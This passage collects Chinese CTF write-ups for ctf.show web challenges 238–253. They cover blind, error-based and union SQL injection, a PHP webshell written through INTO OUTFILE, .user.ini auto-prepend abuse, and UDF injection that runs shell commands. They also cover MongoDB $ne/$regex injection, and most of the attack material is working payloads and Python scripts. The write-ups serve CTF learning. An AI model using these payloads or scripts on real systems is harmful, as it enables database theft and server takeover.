username=111',(select(group_concat(column_name))from(information_schema.columns)where`table_schema`=database()))#&password=2
# 爆flag
username=111',(select(group_concat(flag))from`flagb`))#&password=2
2
3
4
5
6
# web 239
过滤了or
,熟悉。information
库不能用了,使用innodb_table_stats
# 爆表 banlist,ctfshow_user,flagbb
username=1',(select(group_concat(table_name))from(mysql.innodb_table_stats)where`database_name`=database()))#&password=1
# 爆字段(子查询套娃套不出来了)撞狗运(字段flag)
username=1',(select(group_concat(flag))from(flagbb)))#&password=1
2
3
4
# web 240
or
,mysql
都过滤了,拿不到表名了。不过,题目交代了表名相关信息Hint: 表名共9位,flag开头,后五位由a/b组成,如flagabaab,全小写
用bp抓包爆破一下。准备payload:username=1',(select(group_concat(flag))from(flagbb)))#&password=1
,表名就是爆破点
回到题目界面刷新倒序,看到flag已经插入进去了
# web 241 delete
在调试工具里可以看到删除逻辑的处理请求
在接口处尝试sleep函数,可以正常执行。用时间盲注爆出flag
import requests
import time
url='http://000bf014-0e7f-448b-ac7b-97668a2fa081.challenge.ctf.show/api/delete.php'
i=0
flag=''
while True:
head=1
tail=127
i+=1
while head<tail:
mid=(head+tail)>>1
payload={
# 爆表 banlist,ctfshow_user,flag
# "id":f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},sleep(0.05),1)"
# 爆字段 id,flag,info
# "id":f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{i},1))>{mid},sleep(0.05),1)"
# 爆金币
"id":f"if(ascii(substr((select group_concat(id,flag,info) from flag),{i},1))>{mid},sleep(0.05),1)"
}
t1=time.time()
r=requests.post(url,data=payload)
t2=time.time()
# print(t2-t1)#调试
if t2-t1>0.5:
head=mid+1
else:
tail=mid
if head!=1:
flag+=chr(head)
print(flag)
else:
break
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# web 242 file
还是在调试工具里看接口,会看到他通过post向/api/dump.php
接口请求,把sql查询结果放入到/dump/
路径下
经常用sql写文件的人都知道可以写木马,但是这里的查询语句已经写死了,怎么写🐎。注意:sql语句里的$filename
是可控的
在菜鸟教程看下sql导出语句
原来导出语句后面是可以跟指定字符的
select a,b,a+b into outfile '/tmp/result.text'
fields terminated by ',' optionally enclosed by '"'
lines terminated by '\n'
from test_table;
2
3
4
# 字段末尾
fields terminated by 分隔符
会在导出字段末尾添加一个指定的字符或语句作为分隔符
fields terminated by '<?php phpinfo();?>'
# 行末尾
lines terminated by 分隔符
会在导出文件的每一个行末尾添加一个指定的字符或语句作为分隔符
lines terminated by '<?php phpinfo();?>'
# 自选位置
optionally enclosed by '"'
通过指定的字符将字段包裹起来,比如字段a
的值是123
,替换文件里的a
为123,这样就可以在字段值中插入php代码了。
先使用单引号闭合,把分隔符构造的语句添加到sql语句里,最后注释掉后面的内容
filename=3.php'fields terminated by '<?php phpinfo();?>'#
注意
sql导出数据到文件时,不存在覆盖的情况,或者说,已经存在的文件不能再写了
getshell
# web 243
过滤了php
。可以通过.user.ini
包含文件来getshell
按照上题的做法,把php代码写到非php文件即可(linux一切皆文件),例如:
filename=1.txt'lines terminated by '<?= highlight_file(__FILE__);eval($_GET[1]);?>'#
写.user.ini
,需要考虑到,不管用lines starting by
或者fields terminated by
都是添加在了某个字段末尾或者某行的末尾,那么,查询到的第一行的信息,是不在控制范围的,导致.user.ini
里出现他不该有的字段,这样.user.ini
会出现语法错误。
在sql语句里,提供了lines starting by';'
,可以指定行开头,和上面的语句配合使用太完美了
用分号作为每一行的开头,把每一行都注释掉,完美的解决语法问题
在每个字段后添加.user.ini
的语句构造换行%0a
,换行显示到下一行
filename=.user.ini'lines starting by';'terminated by '%0aauto_prepend_file=1.txt'#
这题有点神奇?传了.user.ini后,先访问看会不会下载.user.ini
,不会下载指定是错了没写进去。写进去了没有生效就等等,大概5分钟
提示
注意,.user.ini
写错了就重开靶机吧,sql写的文件不能覆盖
# web 244
提示
updatexml()函数使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax) 例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。
试一下updatexml()
函数
爆库
爆表
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23
爆字段
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x7e),1)%23
爆金币
?id=1' and updatexml(1,concat(0x7e,(select flag from ctfshow_flag),0x7e),1)%23
爆了一半,把爆出来看一下长度~ctfshow{ce2b69c3-1ca9-4609-ad6c
,32位,用substr
函数,把前面的截掉,看看后面的一段,感觉对不是就往前少截点
?id=1' and updatexml(1,concat(0x7e,substr((select flag from ctfshow_flag),30,20),0x7e),1)%23
# web 245
过滤了updatexml
函数,还可以用类似功能函数extractvalue
用法
select user,password from users where user_id=1 and (extractvalue(1,concat(0x7e,(select database()),0x7e)));
这里的题目需要结合联合注入,拿去试试
确实挺不错的,你们觉得怎么样。按照上题思路接着打
提示
突发奇想,既然select能用,为什么不去直接用,我去试试。失败了,正常的sql注入没有回显,所以这里需要报错回显,实现注入
# web 246
过滤了updatexml``extractvalue
函数,还有基于floor
的group by
报错注入
原理
原理:利用select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;导致数据库报错,通过concat函数连接注入语句与floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。
本地测试
报错原因分析
floor(random(0)*2)结果可能为 1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值 实际测试中发现,出现报错,至少要求数据记录为 3 行,记录数超过 3 行一定会报错,2 行时是不报错的
报错注入用法
select count(*),concat(floor(rand(0)*2),database())x from information_schema.character_sets group by x;
根据报错,测试有3个字段,因为用了group by
,聚合函数count一定不能省
修改后又提示返回数据大于1条
在子查询里使用limit 1,1
限制返回只有1条,接着就可以正常注入了
在爆字段时,如果flag字段没第一个显示出来,通过limit
往前面limit 0,1
,往后看limit 2,1
,limit 3,1
,直到显示出
# web 247
floor
过滤了,还有类似floor
的ceil
,拿上题的payload换壳接着打
跑酷
?id=1'union select 1,count(*),concat(ceil(rand(0)*2),database() )x from information_schema.character_sets group by x;%23
爆字段,字段名里有一个问号,待会需要使用反引号处理
爆金币
# web 248 UDF注入
参考:【Web248(UDF注入)】 (opens new window)
udf 全称为:user defined function,意为用户自定义函数;用户可以添加自定义的新函数到Mysql中,以达到功能的扩充,调用方式与一般系统自带的函数相同,例如 contact(),user(),version()等函数。
写入位置:/usr/lib/MySQL目录/plugin
用法:
create function sys_eval returns string soname 'hack.so';
select sys_eval('whoami');
2
不过这道题是get传值,所以有长度限制,就得分段来传。可以先生成多个文件,再通过concat拼接成完整的so文件。
参考博客:【https://www.sqlsec.com/tools/udf.html】 (opens new window)
在这个大佬博客里找到64位linux的16进制payload,赋值给脚本里的udf变量
太厉害了,膜拜大佬。sql注入漏洞变成后门/提权,突然觉得很行
import requests
url="http://2e9c2d13-5f3c-4a05-ab49-0d087d673b98.challenge.ctf.show/api/"
udf=""
udfs=[]
for i in range(0,len(udf),5000):
udfs.append(udf[i:i+5000])
#写入多个文件中
for i in udfs:
url1=url+f"?id=1';SELECT '{i}' into dumpfile '/tmp/"+str(udfs.index(i))+".txt'%23"
requests.get(url1)
#合并文件生成so文件
url2=url+"?id=1';SELECT unhex(concat(load_file('/tmp/0.txt'),load_file('/tmp/1.txt'),load_file('/tmp/2.txt'),load_file('/tmp/3.txt'))) into dumpfile '/usr/lib/mariadb/plugin/hack.so'%23"
requests.get(url2)
#创建自定义函数并执行恶意命令
requests.get(url+"?id=1';create function sys_eval returns string soname 'hack.so'%23")
r=requests.get(url+"?id=1';select sys_eval('cat /f*')%23")
print(r.text)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
这个脚本简单跑出flag,换成其他命令,看到当前是mysql服务在运行,以及其他信息
# web 249 nosql
只有一句sql语句
Memcache缓存数据库,他在php中的用法是:
$m=new Memcache();
$m->connect($host,$port);
$m->add($key,$value[,flags,$expire_time]);
$content=$m->get($key);
$m->close();
2
3
4
5
php官方解释,传递一个数组,会返回服务器查询到的数组键值对
传个id数组
# web 250 MangoDB
补充MangoDB相关语法,因为他和一般sql字段,语法不完全相同
数据库操作
# 显示所有数据库
show dbs #show databases
# 创建数据库
use 库名 #如果数据库不存在,则创建数据库,否则切换到指定数据库。show dbs执行结果没有看到创建的数据库,因为数据库中刚开始没有任何数据并且是在内存中的,有了数据后就会显示出来。
# 删除数据库
db.dropDatabase() #删除当前数据库
2
3
4
5
6
7
8
表操作
# 显式创建集合
db.createCollection("userinfo");//创建一个名为usersinfo的集合
# 隐式创建集合
db.userinfo.insert({name:"yu22x"});//往collection2集合中添加数据来创建集合,如果集合不存在就自动创建集合。
# 查看集合
show collections;//(show tables)
# 删除集合userinfo
db.userinfo.drop();
2
3
4
5
6
7
8
9
10
11
条件语句
看一下登录接口
payload:username=admin&password[$ne]=1
登录失败,其他师傅都能正常跑吗?👀👀
# web 251
sql语句里的pretty()
函数让返回结果更美观,没有什么处理作用
拿上题payload打通了
# web 252
再用上面payload,没有flag
使用正则匹配password里的flag
传数组数据password[$regex]=^ctfshow{
,MangDB的正则模式$regex
匹配flag的开头
# web 253
拿上一题payload跑,查出数据了
显示登录成功,但是没有返回flag,根据返回不同,当作布尔盲注题
import requests
string="abcdefghigklmnopqrstuwxyz1230456789{}_-"
flag='{'
url="http://bb485952-cee8-4b38-b2c6-f64c2005c4f3.challenge.ctf.show/api/"
while True:
for j in string:
data={
"username[$ne]":1,
"password[$regex]":f"ctfshow{flag+j}"
}
r=requests.post(url,data=data)
if "\\u767b\\u9646\\u6210\\u529f" in r.text:
sign=j
flag+=j
print(flag)
else:
pass
if sign=='}':
break
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
end